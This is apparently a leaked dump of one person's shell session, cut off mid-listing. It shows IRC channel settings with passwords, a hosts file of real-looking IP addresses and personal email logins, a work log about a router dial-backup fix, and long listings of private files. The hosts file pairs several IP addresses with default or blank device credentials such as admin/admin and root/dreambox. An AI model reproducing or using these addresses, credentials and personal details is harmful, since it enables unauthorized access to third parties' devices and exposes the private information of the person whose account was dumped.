"yes"; }, 10634 { name = "#p3n1x420s"; chatnet = "efnet"; autojoin = "yes"; }, 10635 { name = "#mrl-ctf"; chatnet = "efnet"; autojoin = "yes"; }, 10636 { name = "#jerkcity"; chatnet = "efnet"; autojoin = "yes"; }, 10637 { name = "#rm-rf"; chatnet = "efnet"; autojoin = "yes"; }, 10638 { name = "#japan"; chatnet = "efnet"; autojoin = "yes"; }, 10639 { 10640 name = "#luvshack"; 10641 chatnet = "efnet"; 10642 autojoin = "yes"; 10643 password = "analrape"; 10644 }, 10645 { name = "#gods"; chatnet = "efnet"; autojoin = "yes"; }, 10646 { 10647 name = "#alpha-defense"; 10648 chatnet = "efnet"; 10649 password = "goteamhapa"; 10650 autojoin = "yes"; 10651 }, 10652 { name = "#null"; chatnet = "efnet"; autojoin = "yes"; }, 10653 { name = "#openwrt"; chatnet = "freenode"; autojoin = "yes"; } 10654 ); 10655 10656 // Blah blah snip snip 10657 10658 $ cat t.sh 10659 #!/bin/sh 10660 while true; do 10661 /usr/bin/ssh -nTNF $HOME/jrstools/t t@s 10662 sleep 10 10663 done 10664 $ cd ../ 10665 $ cat hosts.txt 10666 66.126.237.108 10667 66.126.237.107 10668 67.116.3.57 10669 66.116.3.61 17130592 10670 99.53.80.161 00:1e:c9:5a:a8:c6 10671 99.53.80.162 00:30:65:6b:07:72 10672 99.53.80.166 142241623104 10673 filipcik707.shacknet.nu 10674 j@hug.gs 10675 j@perfectmachines.org 10676 thalakan@metaindividual.com 10677 gccx.fsffrance.org 10678 jspence@b.armory.com 10679 miarac.dyndns.org 10680 dcyrt2.dyndns.org 10681 thalakan@420.am 10682 jspence@behemoth.strlen.net 10683 j@83c.noisebridge.net:2022 10684 jspence@genetikayos.com 10685 ds1.hackershells.com:64999 10686 sh.dyndns.org 10687 331shad.dyndns.org 10688 j@208.80.185.10 10689 115.133.19.100 dmadmin/dmadmin 10690 130.88.213.96 jetdirect printer 10691 78.181.112.5 root/blank (the whole block is full of modems running 10692 busybox) 10693 78.179.153.91 more of the same 10694 69.69.11.64 admin/1234 10695 118.68.195.164 admin/1234 10696 92.84.174.207 admin 10697 201.219.70.171 admin 10698 38.101.186.23 no password 10699 79.180.56.109 root/dreambox 10700 78.186.119.184 admin/admin 10701 200.35.54.45 admin/admin 10702 189.79.142.89 admin/admin 10703 ^pahct^ 10704 j@66.92.8.123 10705 j@vm04.kiberpipa.org 10706 $ ls -la hsq 10707 total 220 10708 -rw-r--r-- 1 thalakan thalakan 494 Mar 30 13:41 #8.log# 10709 drwxr-xr-x 3 thalakan thalakan 1536 Jul 13 11:05 . 10710 lrwxr-xr-x 1 thalakan thalakan 54 Mar 30 13:33 .#8.log -> thalakan@shaitan1.lightconsulting.com.49893:1201029435 10711 drwxr-x--- 141 thalakan thalakan 26112 Jul 20 09:36 .. 10712 -rw-r--r-- 1 thalakan thalakan 4066 Apr 30 19:02 0.log 10713 -rw-r--r-- 1 thalakan thalakan 3820 Apr 30 12:47 0.log~ 10714 -rw-r--r-- 1 thalakan thalakan 16184 May 18 07:41 1.log 10715 -rw-r--r-- 1 thalakan thalakan 12805 May 12 11:51 1.log~ 10716 -rw-r--r-- 1 thalakan thalakan 97 May 1 08:56 10.log 10717 -rw-r--r-- 1 thalakan thalakan 95 Mar 27 13:14 10.log~ 10718 -rw-r--r-- 1 thalakan thalakan 4615 May 20 02:17 11.log 10719 -rw-r--r-- 1 thalakan thalakan 4372 May 19 15:14 11.log~ 10720 -rw-r--r-- 1 thalakan thalakan 889 May 1 08:51 12.log 10721 -rw-r--r-- 1 thalakan thalakan 856 Apr 20 12:53 12.log~ 10722 -rw-r--r-- 1 thalakan thalakan 1635 May 15 08:45 13.log 10723 -rw-r--r-- 1 thalakan thalakan 1634 May 7 22:10 13.log~ 10724 -rw-r--r-- 1 thalakan thalakan 2409 May 15 13:54 14.log 10725 -rw-r--r-- 1 thalakan thalakan 1970 Apr 28 14:36 14.log~ 10726 -rw-r--r-- 1 thalakan thalakan 6083 May 26 11:14 15.log 10727 -rw-r--r-- 1 thalakan thalakan 5502 May 20 12:22 15.log~ 10728 -rw-r--r-- 1 thalakan thalakan 201 Apr 14 16:05 15.txt 10729 -rw-r--r-- 1 thalakan thalakan 79 Apr 14 16:04 15.txt~ 10730 -rw-r--r-- 1 thalakan thalakan 643 Apr 15 15:02 16.log 10731 -rw-r--r-- 1 thalakan thalakan 310 Apr 15 14:58 16.log~ 10732 -rw-r--r-- 1 thalakan thalakan 964 Apr 23 15:02 16.txt 10733 -rw-r--r-- 1 thalakan thalakan 37 Apr 23 13:53 16.txt~ 10734 -rw-r--r-- 1 thalakan thalakan 213 Apr 27 17:40 17.log 10735 -rw-r--r-- 1 thalakan thalakan 172 Apr 27 17:11 17.log~ 10736 -rw-r--r-- 1 thalakan thalakan 856 Apr 29 14:35 18.log 10737 -rw-r--r-- 1 thalakan thalakan 91 Apr 29 11:57 18.log~ 10738 -rw-r--r-- 1 thalakan thalakan 2871 May 6 10:29 2.log 10739 -rw-r--r-- 1 thalakan thalakan 2781 Apr 27 17:33 2.log~ 10740 -rw-r--r-- 1 thalakan thalakan 1084 Mar 31 15:06 3.log 10741 -rw-r--r-- 1 thalakan thalakan 894 Mar 19 16:28 3.log~ 10742 -rw-r--r-- 1 thalakan thalakan 2594 May 15 08:40 4.log 10743 -rw-r--r-- 1 thalakan thalakan 2592 May 7 22:09 4.log~ 10744 -rw-r--r-- 1 thalakan thalakan 512 Apr 20 13:38 5.log 10745 -rw-r--r-- 1 thalakan thalakan 433 Mar 18 17:10 5.log~ 10746 -rw-r--r-- 1 thalakan thalakan 3486 Mar 27 12:38 6.log 10747 -rw-r--r-- 1 thalakan thalakan 3478 Mar 23 18:38 6.log~ 10748 -rw-r--r-- 1 thalakan thalakan 4137 May 1 08:56 7.log 10749 -rw-r--r-- 1 thalakan thalakan 4136 Apr 30 16:06 7.log~ 10750 -rw-r--r-- 1 thalakan thalakan 205 Mar 23 14:32 8.log 10751 -rw-r--r-- 1 thalakan thalakan 96 Mar 23 14:28 8.log~ 10752 -rw-r--r-- 1 thalakan thalakan 902 May 26 12:46 9.log 10753 -rw-r--r-- 1 thalakan thalakan 235 Mar 27 15:02 9.log~ 10754 -rw-r--r-- 1 thalakan thalakan 316 Jul 13 11:05 auth.txt 10755 -rw-r--r-- 1 thalakan thalakan 182 Apr 23 12:13 auth.txt~ 10756 -rw-r--r-- 1 thalakan thalakan 0 May 5 11:02 c 10757 drwxr-xr-x 5 thalakan thalakan 512 Mar 30 09:10 cisco 10758 -rw-r--r-- 1 thalakan thalakan 3958 Apr 20 10:52 cisco-checklist.txt 10759 -rw-r--r-- 1 thalakan thalakan 32 Mar 19 16:16 cisco-checklist.txt~ 10760 -rw-r--r-- 1 thalakan thalakan 1826 Apr 1 10:59 field-checklist.txt 10761 -rw-r--r-- 1 thalakan thalakan 1468 Apr 1 10:57 field-checklist.txt~ 10762 -rw-r--r-- 1 thalakan thalakan 428 Jul 10 09:33 hours1.txt 10763 -rw-r--r-- 1 thalakan thalakan 352 Jul 10 09:22 jobcodes.txt 10764 -rw-r--r-- 1 thalakan thalakan 241 May 15 08:31 jobcodes.txt~ 10765 -rw-r--r-- 1 thalakan thalakan 0 May 5 11:02 js 10766 -rw-r--r-- 1 thalakan thalakan 87 Apr 29 20:42 new-task-checklist.txt 10767 -rw-r--r-- 1 thalakan thalakan 190 Apr 15 11:51 service-profile.txt 10768 -rw-r--r-- 1 thalakan thalakan 118 Apr 15 11:48 service-profile.txt~ 10769 -rw-r--r-- 1 thalakan thalakan 309 May 7 03:58 switches.txt 10770 -rw-r--r-- 1 thalakan thalakan 150 May 1 17:55 switches.txt~ 10771 -rw-r--r-- 1 thalakan thalakan 26 May 5 10:57 test.html~ 10772 -rw-r--r-- 1 thalakan thalakan 299 Apr 21 14:19 vmware-clone-checklist.txt 10773 -rw-r--r-- 1 thalakan thalakan 222 Apr 14 17:01 vmware-clone-checklist.txt~ 10774 $ cat hsq/1.log 10775 NPN dial-demand routing 10776 10777 The NPN site has a Cisco 1800 series which does not do reliable dial 10778 backup in the event that their frame relay connection fails. 10779 10780 Requirements: 10781 - Deterministic DDR behavior 10782 10783 Modem rack manuals: 10784 http://www.multitech.com/DOCUMENTS/Collateral/manuals/88300150.pdf 10785 http://www.multitech.com/DOCUMENTS/Collateral/manuals/S000326A.pdf 10786 10787 Tuesday March 10 2009 10788 10789 1300h: 10790 JW described the situation. Investigated, found out that RIP was 10791 enabled on both devices for no discernable reason. Turned that off. 10792 10793 Read several examples of how to make it work. 10794 10795 JW and I discovered that three DECserver 90 series terminal servers 10796 all had the same failure mode, and one of them was supposedly known 10797 good.[snip]$ cd public_html 10798 $ ls -la 10799 total 169266 10800 -rwxr-xr-x 1 thalakan thalakan 214 Jan 15 2004 10801 -rwxr-xr-x 1 thalakan thalakan 4969 Jan 15 2004 10802 -rw-r--r-- 1 thalakan thalakan 178 Jan 15 2004 .c 10803 -rwxr-xr-x 1 thalakan thalakan 189 Jan 15 2004 .gz 10804 -rw-r--r-- 1 thalakan thalakan 1 Jan 24 2002 #church# 10805 -rw-r--r-- 1 thalakan thalakan 5 Mar 23 2004 #fere# 10806 -rw-r--r-- 1 thalakan thalakan 223 Jan 28 01:04 #paybycard.html# 10807 -rw-r--r-- 1 thalakan thalakan 2 Dec 10 2004 #so# 10808 -rw-r--r-- 1 thalakan thalakan 13 Sep 13 2008 #soopha 10809 -rw-r--r-- 1 thalakan thalakan 85 Sep 6 2004 #test.php# 10810 -rw-r--r-- 1 thalakan thalakan 247 Oct 23 2004 #unhide.c# 10811 drwxrwxr-x 25 thalakan thalakan 8192 Apr 25 14:17 . 10812 -rw-r--r-- 1 thalakan thalakan 31530 Jan 7 2004 .#code.html.1.45 10813 -rw-r--r-- 1 thalakan thalakan 4857 Jan 25 2002 .#index.html.1.16 10814 -rw-r--r-- 1 thalakan thalakan 4678 Mar 17 2002 .#index.html.1.18 10815 -rw-r--r-- 1 thalakan thalakan 5129 Nov 14 2002 .#index.html.1.26 10816 lrwxr-xr-x 1 thalakan thalakan 54 Jan 28 01:04 .#paybycard.html -> thalakan@shaitan1.lightconsulting.com.16643:1201029436 10817 -rw-r--r-- 1 thalakan thalakan 29367 Jul 21 2003 .#quotes.html.1.64 10818 drwxr-x--- 141 thalakan thalakan 26112 Jul 20 09:41 .. 10819 -rw-r--r-- 1 thalakan thalakan 162 Jul 24 2003 .htaccess 10820 -rw-r--r-- 1 thalakan thalakan 46610 Jan 24 2002 06202000-log.txt 10821 -rw-r--r-- 1 thalakan thalakan 49270 Jan 24 2002 08212000-log.txt 10822 -rw-r--r-- 1 thalakan thalakan 2969 Jan 24 2002 09192000-log.txt 10823 -rw-r--r-- 1 thalakan thalakan 24576 Oct 29 2006 102906.doc 10824 -rw-r--r-- 1 thalakan thalakan 214 Jan 15 2004 123 10825 -rw-r--r-- 1 thalakan thalakan 189 Jan 15 2004 2.gz 10826 -rw-r--r-- 1 thalakan thalakan 33708 Dec 12 2004 203.248.130.1-254.html 10827 -rw-r--r-- 1 thalakan thalakan 15733 Dec 12 2004 203.248.130.10.html 10828 -rw-r--r-- 1 thalakan thalakan 2075 Feb 3 19:23 4chansearch.php 10829 -rw-r--r-- 1 thalakan thalakan 1315 Jan 3 2009 4chansearch.php~ 10830 lrwxr-xr-x 1 thalakan thalakan 24 Jan 3 2009 4chanulator.log -> ../100mget/pics/urls.log 10831 lrwxr-xr-x 1 thalakan thalakan 15 Jan 3 2009 4pics -> ../100mget/pics 10832 -rw-r--r-- 1 thalakan thalakan 8321 Feb 7 19:51 AC_RunActiveContent.js 10833 -rw-r--r-- 1 thalakan thalakan 2499 Feb 12 2002 BayonneMon.java 10834 -rw-r--r-- 1 thalakan thalakan 31365 Nov 24 2004 Bitstream Vera Sans.fdb 10835 -rw-r--r-- 1 thalakan thalakan 30385 Nov 24 2004 Bitstream Vera Serif.fdb 10836 drwxr-xr-x 2 thalakan thalakan 512 Apr 25 14:17 CVS 10837 -rw-r--r-- 1 thalakan thalakan 4209 Jan 24 2002 Cccp.class 10838 -rw-r--r-- 1 thalakan thalakan 323 Aug 9 2004 Cccp.html 10839 -rw-r--r-- 1 thalakan thalakan 4498 Jan 24 2002 Cccp.java 10840 -rw-r--r-- 1 thalakan thalakan 4011 Jan 24 2002 CoaxImpedance.class 10841 -rw-r--r-- 1 thalakan thalakan 348 Aug 9 2004 CoaxImpedance.html 10842 -rw-r--r-- 1 thalakan thalakan 4713 Jan 24 2002 CoaxImpedance.java 10843 -rw------- 1 thalakan thalakan 410017 Jul 30 2003 DSCN0312.JPG 10844 -rw------- 1 thalakan thalakan 405663 Jul 30 2003 DSCN0313.JPG 10845 -rw------- 1 thalakan thalakan 416617 Jul 30 2003 DSCN0314.JPG 10846 -rw------- 1 thalakan thalakan 419111 Jul 30 2003 DSCN0315.JPG 10847 -rw------- 1 thalakan thalakan 419552 Jul 30 2003 DSCN0316.JPG 10848 -rw------- 1 thalakan thalakan 414722 Jul 30 2003 DSCN0317.JPG 10849 -rw-r--r-- 1 thalakan thalakan 22173 Jun 30 2004 Default.htm 10850 -rw-r--r-- 1 thalakan thalakan 22176 Feb 18 2004 Default.htm~ 10851 -rw-r--r-- 1 thalakan thalakan 191333 Sep 12 2004 DiffPlot.nb 10852 -rw-r--r-- 1 www thalakan 5 Jan 14 2009 GBDumpfile 10853 -rw------- 1 thalakan thalakan 4300800 Feb 1 2005 Mathematica.core 10854 -rw-r--r-- 1 thalakan thalakan 90653001 Aug 11 2006 Mission Peak.zip 10855 -rw-r--r-- 1 thalakan thalakan 3280 Mar 4 2002 Rollover.class 10856 -rw-r--r-- 1 thalakan thalakan 312 Aug 9 2004 Rollover.html 10857 -rw-r--r-- 1 thalakan thalakan 2686 Mar 4 2002 Rollover.java 10858 -rw-r--r-- 1 thalakan thalakan 21715 Sep 27 2003 Techno.fdb 10859 -rw-r--r-- 1 thalakan thalakan 2896 Jan 24 2002 TinyBrowser.class 10860 -rw-r--r-- 1 thalakan thalakan 1501 Jan 24 2002 TinyBrowser.java 10861 -rw-r--r-- 1 thalakan thalakan 545 Aug 11 2003 UserForm1.frm 10862 -rw-r--r-- 1 thalakan thalakan 3096 Aug 11 2003 UserForm1.frx 10863 drwxr-xr-x 2 thalakan thalakan 1024 Sep 4 2008 WTF pictures 10864 -rw-r--r-- 1 thalakan thalakan 2841 Feb 26 2002 ZeroWing.class 10865 -rw-r--r-- 1 thalakan thalakan 322 Aug 9 2004 ZeroWing.html 10866 -rw-r--r-- 1 thalakan thalakan 2506 Feb 26 2002 ZeroWing.java 10867 -rw-r--r-- 1 thalakan thalakan 3342 Aug 9 2004 acroread-notes.html 10868 -rwxr-xr-x 1 thalakan thalakan 1278 Jun 19 2002 ariswatch.pl 10869 -rw-r--r-- 1 thalakan thalakan 5267 Nov 4 2004 ariswatch.pl.html 10870 -rw-r--r-- 1 thalakan thalakan 5267 Nov 4 2004 ariswatch.pl.html~ 10871 -rwxr-xr-x 1 thalakan thalakan 1907 May 6 2002 ariswatch.pl~ 10872 drwxr-xr-x 3 thalakan thalakan 512 Dec 3 2002 array 10873 -rw-r--r-- 1 thalakan thalakan 5373 Jan 24 2002 articles-of-incorporation.rtf 10874 -rwxr-xr-x 1 thalakan thalakan 215 Jan 24 2002 ascii-histogram.pl 10875 -rwxr-xr-x 1 thalakan thalakan 1266 Jan 24 2002 autologin.s 10876 -rw-r--r-- 1 thalakan thalakan 166 Jan 15 2004 b 10877 -rwxr-xr-x 1 thalakan thalakan 6117 Aug 11 2003 beancounter 10878 -rw-r--r-- 1 thalakan thalakan 2515 Aug 11 2003 beancounter.c 10879 drwxr-xr-x 3 thalakan thalakan 512 Feb 21 2003 bighardsoftware.com 10880 -rwxr-xr-x 1 thalakan thalakan 6996 Oct 30 2005 bin2asc 10881 -rw-r--r-- 1 thalakan thalakan 3303 May 28 2002 bin2asc.c 10882 -rw-r--r-- 1 thalakan thalakan 840 Jun 10 2002 bin2c.c 10883 drwxr-xr-x 14 thalakan thalakan 1536 Aug 16 2002 blackhat2002 10884 -rw-r--r-- 1 thalakan thalakan 2349 Dec 3 2002 blddeps.c 10885 -rw-r--r-- 1 thalakan thalakan 2022 Jan 12 2004 bluebarh.gif 10886 -rw-r--r-- 1 thalakan thalakan 2085 Jan 12 2004 bluebarv.gif 10887 -rw-r--r-- 1 thalakan thalakan 1922 Apr 18 2007 bwmon.js 10888 -rw-r--r-- 1 thalakan thalakan 1592 Dec 10 2004 bwmon.js~ 10889 -rw-r--r-- 1 thalakan thalakan 1671 Dec 12 2002 ca.crt 10890 -rw-r--r-- 1 thalakan thalakan 265 Jan 3 2009 ca20.html 10891 lrwxr-xr-x 1 thalakan thalakan 11 Apr 6 03:27 ca20.log -> ../ca20.log 10892 -rw-r--r-- 1 thalakan thalakan 1394 Feb 11 2002 cam-archive.html 10893 -rw-r--r-- 1 thalakan thalakan 59093 May 21 2003 cam.jpg 10894 -rw-r--r-- 1 thalakan thalakan 454 Feb 9 19:05 camera.swf 10895 -rw-r--r-- 1 thalakan thalakan 2750 Sep 15 2008 castiron.txt 10896 -rwxr-xr-x 1 thalakan thalakan 4582 Oct 28 2003 cat 10897 -rw-r--r-- 1 thalakan thalakan 312 Oct 28 2003 cat.c 10898 -rw-r--r-- 1 thalakan thalakan 271 Oct 28 2003 cat.c~ 10899 -rwxr-xr-x 1 thalakan thalakan 2288 Jan 24 2002 cccp-server.pl 10900 -rw-r--r-- 1 thalakan thalakan 1227 Feb 9 18:12 cctest.swf 10901 drwxr-xr-x 3 thalakan thalakan 512 May 5 2005 cgi-bin 10902 -rw-r--r-- 1 thalakan thalakan 477 Apr 22 2008 checkport.php 10903 -rwxr-xr-x 1 thalakan thalakan 2382 Jan 24 2002 chpasswds.pl 10904 drwxr-xr-x 3 thalakan thalakan 512 Feb 12 2002 church 10905 -rw-r--r-- 1 thalakan thalakan 42445 Jan 24 2002 church-bylaws.rtf 10906 -rwxr-xr-x 1 thalakan thalakan 619 Jul 24 2003 cmosdump.c 10907 -rwxr-xr-x 1 thalakan thalakan 2931 Dec 19 2002 cmoswipe.asm 10908 -rw-r--r-- 1 thalakan thalakan 32645 Sep 12 2004 code.html 10909 -rw-r--r-- 1 thalakan thalakan 4689 Aug 9 2004 cpp-notes.html 10910 -rw-r--r-- 1 thalakan thalakan 1330 Aug 9 2004 create-index.html 10911 -rwxr-xr-x 1 thalakan thalakan 3981 Aug 9 2004 create-index.pl 10912 -rwxr-xr-x 1 thalakan thalakan 578 Jan 24 2002 cryptmd5.pl 10913 -rw-r--r-- 1 thalakan thalakan 18599 Aug 26 2008 cv.html 10914 -rw-r--r-- 1 thalakan thalakan 505299 Jul 30 2003 d1_hashing.pdf 10915 lrwxr-xr-x 1 thalakan thalakan 7 Nov 18 2002 damn -> ../damn 10916 -rw-r--r-- 1 thalakan thalakan 2779 Dec 3 2002 dbtest.c 10917 -rw-r--r-- 1 thalakan thalakan 1237 Aug 26 2002 dc11.txt 10918 -rw-r--r-- 1 thalakan thalakan 3558 Dec 25 2008 dpi.html 10919 -rw-r--r-- 1 thalakan thalakan 3486 Sep 5 2008 dpi.html.~1.3.~ 10920 -rw-r--r-- 1 thalakan thalakan 1658 Mar 7 2006 dpi.html~ 10921 -rw-r--r-- 1 thalakan thalakan 11697180 Jun 6 2003 dr0.ogg 10922 -rw-r--r-- 1 thalakan thalakan 11603500 Jun 6 2003 dr1.ogg 10923 -rw-r--r-- 1 thalakan thalakan 11440189 Jun 6 2003 dr2.ogg 10924 -rw-r--r-- 1 thalakan thalakan 136959 Jun 6 2003 dr3.ogg 10925 drwxr-xr-x 17 thalakan thalakan 12288 Jun 16 20:51 drop 10926 drwxr-xr-x 4 thalakan thalakan 512 Jan 24 2002 drunkenape 10927 -rw-r--r-- 1 thalakan thalakan 393 Jun 3 2005 dujour-scan 10928 -rw-r--r-- 1 root thalakan 262 Jun 3 2005 dujour-udp-scan 10929 -rw-r--r-- 1 thalakan thalakan 342 Oct 30 2005 dump.txt 10930 -rw-r--r-- 1 thalakan thalakan 312 Oct 30 2005 dump.txt~ 10931 -rw-r--r-- 1 thalakan thalakan 180 Oct 30 2005 dump2.txt 10932 -rw-r--r-- 1 thalakan thalakan 161 Oct 30 2005 dump2.txt~ 10933 -rw-r--r-- 1 thalakan thalakan 405 Oct 30 2005 dump3.txt 10934 -rw-r--r-- 1 thalakan thalakan 361 Oct 30 2005 dump3.txt~ 10935 -rw-r--r-- 1 thalakan thalakan 2330 Oct 30 2005 dump4.txt 10936 -rw-r--r-- 1 thalakan thalakan 341 Oct 30 2005 dump4.txt~ 10937 -rwxr--r-- 1 thalakan thalakan 8137 Dec 10 2004 dump_selectors.c 10938 -rwxr--r-- 1 thalakan thalakan 7952 Dec 10 2004 dump_selectors.c~ 10939 drwxr-xr-x 2 thalakan thalakan 512 Feb 7 2007 ebay_bc 10940 -rw-r--r-- 1 thalakan thalakan 846 May 7 2007 edit.php.bak 10941 -rw-r--r-- 1 thalakan thalakan 845 May 7 2007 edit.php~ 10942 -rw-r--r-- 1 thalakan thalakan 741 Jun 19 2002 endpoint-list.php 10943 -rw------- 1 thalakan thalakan 722 Jun 19 2002 endpoint-list.php~ 10944 -rw-r--r-- 1 thalakan thalakan 543 Jun 19 2002 endpoints.php 10945 -rw-r--r-- 1 thalakan thalakan 431 Jun 19 2002 endpoints.php~ 10946 -rw-r--r-- 1 thalakan thalakan 1778 Jan 7 2004 enummodules.c 10947 -rw-r--r-- 1 thalakan thalakan 1157 Nov 6 2006 f1.js 10948 -rw-r--r-- 1 thalakan thalakan 1054 Feb 23 2005 f1.js~ 10949 -rw-r--r-- 1 thalakan thalakan 1292 Feb 23 2005 f1.php 10950 -rw-r--r-- 1 thalakan thalakan 1110 Feb 23 2005 f1.php~ 10951 -rwxr-xr-x 1 thalakan thalakan 1907 Jan 24 2002 fedex.pl 10952 -rw-r--r-- 1 thalakan thalakan 782 Aug 9 2004 file-list.txt 10953 -rw-r--r-- 1 thalakan thalakan 1214 Oct 10 2003 file-list1.txt 10954 -rw-r--r-- 1 thalakan thalakan 95077 May 26 12:34 fileindex.xml 10955 -rw-r--r-- 1 thalakan thalakan 4111068 Jan 27 18:26 fileindex.xml~ 10956 -rwxr-xr-x 1 thalakan thalakan 2426 Jan 24 2002 find.pl 10957 -rw-r--r-- 1 thalakan thalakan 144994 Dec 13 2004 foo 10958 -rwxr-xr-x 1 thalakan thalakan 4968 Jan 15 2004 fork 10959 -rw-r--r-- 1 thalakan thalakan 317 Aug 9 2004 frames.html 10960 -rw-r--r-- 1 thalakan thalakan 211 Jan 24 2002 frames.html~ 10961 -rwxr-xr-x 1 thalakan thalakan 35223 Aug 9 2004 freenix-programming-guide.html 10962 -rw-r--r-- 1 thalakan thalakan 9930 Aug 9 2004 frys-notes.html 10963 -rw-r--r-- 1 root thalakan 15779 Dec 1 2004 fun.png 10964 -rw-r--r-- 1 thalakan thalakan 1952 Aug 9 2004 funny.html 10965 -rw-r--r-- 1 thalakan thalakan 369 Jan 24 2002 gd_graph.cgi 10966 -rw-r--r-- 1 thalakan thalakan 418 Jan 24 2002 gd_test.cgi 10967 -rwxr-xr-x 1 thalakan thalakan 1854 Oct 10 2003 getcoords.pl~ 10968 -rw-r--r-- 1 thalakan thalakan 3859 Nov 30 2002 gpdump.cap 10969 -rw-r--r-- 1 thalakan thalakan 101275 Jan 24 2002 graendal.jpg 10970 -rw-r--r-- 1 thalakan thalakan 4845 Aug 11 2003 hadamard.c 10971 -rw------- 1 thalakan thalakan 303104 Jan 15 2004 hexdump.core 10972 -rwxr-xr-x 1 thalakan thalakan 3152 Apr 4 16:49 howmuch.pl 10973 -rwxr-xr-x 1 thalakan thalakan 3342 Mar 26 2005 howmuch.pl.secure 10974 -rw-r--r-- 1 thalakan thalakan 45 Jun 6 2003 ht_passwd 10975 drwxr-xr-x 13 thalakan thalakan 6656 Jun 4 05:40 images 10976 drwxr-xr-x 2 thalakan thalakan 512 Jul 13 2005 images1 10977 drwxr-xr-x 2 thalakan thalakan 512 Jul 13 2005 images2 10978 drwxr-xr-x 2 thalakan thalakan 512 Jul 13 2005 images3 10979 -rw-r--r-- 1 thalakan thalakan 5571 Apr 19 2008 index.html 10980 -rw-r--r-- 1 thalakan thalakan 95 Jul 22 2005 ip.php 10981 -rw-r--r-- 1 thalakan thalakan 10293 Mar 13 2005 iz4.sxi 10982 -rw-r--r-- 1 thalakan thalakan 208 Apr 26 2006 jlib.js 10983 -rw-r--r-- 1 thalakan thalakan 53 Apr 26 2006 jlib.js~ 10984 -rw-r--r-- 1 thalakan thalakan 6113 Oct 23 2008 journey.js 10985 -rw-r--r-- 1 thalakan thalakan 6056 Nov 24 2004 journey.js~ 10986 -rw-r--r-- 1 thalakan thalakan 465 Jun 3 2005 k.html 10987 -rw-r--r-- 1 thalakan thalakan 456 Jun 3 2005 k.html~ 10988 -rw-r--r-- 1 thalakan thalakan 10201 Aug 9 2004 laptop-notes.html 10989 drwxr-xr-x 15 thalakan thalakan 2048 Dec 24 2007 lc 10990 -rw-r--r-- 1 thalakan thalakan 22553 Aug 9 2004 links.html 10991 -rw-r--r-- 1 thalakan thalakan 10811 Aug 9 2004 living-planes.html 10992 -rw-r--r-- 1 thalakan thalakan 2585 Jan 24 2002 log 10993 lrwxr-xr-x 1 thalakan thalakan 8 Jan 3 2009 lolol -> ../lolol 10994 -rw------- 1 thalakan thalakan 217088 Aug 11 2003 ls.core 10995 -rw-r--r-- 1 thalakan thalakan 10863 Mar 29 2006 ltphone-notes.html 10996 -rwxr-xr-x 1 thalakan thalakan 19196 Aug 9 2004 lw2f-notes.html 10997 -rwxr-xr-x 1 thalakan thalakan 1162 Jan 24 2002 mailer.cgi 10998 -rwxr-xr-x 1 thalakan thalakan 621 Jan 24 2002 make-logs.pl 10999 -rwxr-xr-x 1 thalakan thalakan 1341 Jan 15 2004 manlyedit.sh 11000 -rw-r--r-- 1 thalakan thalakan 1516 Jan 6 2009 map-markers.html 11001 -rw-r--r-- 1 thalakan thalakan 4589 Jan 6 2009 map.html 11002 -rw-r--r-- 1 thalakan thalakan 1105 Jan 6 2009 map.html~ 11003 -rw-r--r-- 1 thalakan thalakan 393 Aug 11 2003 masmtsc.c 11004 -rw-r--r-- 1 thalakan thalakan 12330 Oct 11 2003 md5.js 11005 -rw-r--r-- 1 thalakan thalakan 12395 Jan 24 2002 md5.js~ 11006 -rwxr-xr-x 1 thalakan thalakan 92160 Jan 24 2002 me.avi 11007 -rw-r--r-- 1 thalakan thalakan 19894 Jan 24 2002 me.jpg 11008 -rw-r--r-- 1 thalakan thalakan 19894 Oct 13 2002 me2.jpg 11009 -rw-r--r-- 1 thalakan thalakan 3526 Aug 9 2004 menus.html 11010 drwxr-xr-x 5 thalakan thalakan 512 Jan 28 2004 ming-fonts-1.00 11011 -rw-r--r-- 1 thalakan thalakan 498258 Jan 28 2004 ming-fonts-1.00.tar.bz2 11012 -rw-r--r-- 1 thalakan thalakan 775 Aug 9 2004 mission.html 11013 -rwxr-xr-x 1 thalakan thalakan 2790 Mar 11 2002 mkboot.sh 11014 -rw-r--r-- 1 thalakan thalakan 7380 Aug 9 2004 mklinux-notes.html 11015 -rw-r--r-- 1 thalakan thalakan 1847 Aug 30 2004 moblog.php 11016 -rw-r--r-- 1 thalakan thalakan 1557 Aug 30 2004 moblog.php~ 11017 -rw-r--r-- 1 thalakan thalakan 1106 Jun 3 2003 monkeys.c 11018 -rw------- 1 thalakan thalakan 419552 Jul 30 2003 mookie 11019 -rw-r--r-- 1 thalakan thalakan 2789 Aug 9 2004 movies.html 11020 -rw-r--r-- 1 thalakan thalakan 504 Oct 12 2003 movies.html~ 11021 lrwxr-xr-x 1 thalakan thalakan 6 Jul 2 2002 mp3 -> ../mp3 11022 -rw-r--r-- 1 thalakan thalakan 310397 Jan 12 2004 msrdp.cab 11023 -rwxr-xr-x 1 thalakan thalakan 542 Jan 24 2002 new-page.pl 11024 -rw------- 1 thalakan thalakan 0 Jan 15 2004 nohup.out 11025 -rw-r--r-- 1 thalakan thalakan 3861 Aug 9 2004 notes.html 11026 -rw-r--r-- 1 thalakan thalakan 2789 Aug 9 2004 novell-and-linux.html 11027 -rw-r--r-- 1 thalakan thalakan 1920 Aug 28 2008 npo.php 11028 -rw-r--r-- 1 thalakan thalakan 2084 Feb 22 2007 npo.php~ 11029 -rw-r--r-- 1 thalakan thalakan 132 Dec 3 2002 opendb.php 11030 -rw------- 1 thalakan thalakan 105 Jun 19 2002 opendb.php~ 11031 -rw-r--r-- 1 thalakan thalakan 19363 Jun 19 2002 opentelco.php 11032 -rw-r--r-- 1 thalakan thalakan 19150 Jun 19 2002 opentelco.php~ 11033 -rw------- 1 thalakan thalakan 423 Jun 19 2002 opentelco.sql 11034 -rw------- 1 thalakan thalakan 591 Jun 19 2002 opentelco.sql~ 11035 -rw-r--r-- 1 thalakan thalakan 342 Jan 1 2009 out 11036 -rw-r--r-- 1 thalakan thalakan 20651 Oct 1 2004 out1 11037 -rwxr-xr-x 1 thalakan thalakan 734 Aug 9 2004 page.html 11038 -rw-r--r-- 1 thalakan thalakan 222 Jan 28 01:04 paybycard.html 11039 -rw-r--r-- 1 thalakan thalakan 189 Jan 28 01:00 paybycard.html~ 11040 -rw-r--r-- 1 thalakan thalakan 1387 Jan 28 02:18 paybycard.js 11041 -rw-r--r-- 1 thalakan thalakan 165 Jan 28 01:02 paybycard.js~ 11042 -rw-r--r-- 1 thalakan thalakan 113526 Feb 7 20:00 pbcdummy.swf 11043 -rw-r--r-- 1 thalakan thalakan 2566 Feb 9 18:15 pbctest.html 11044 -rw-r--r-- 1 thalakan thalakan 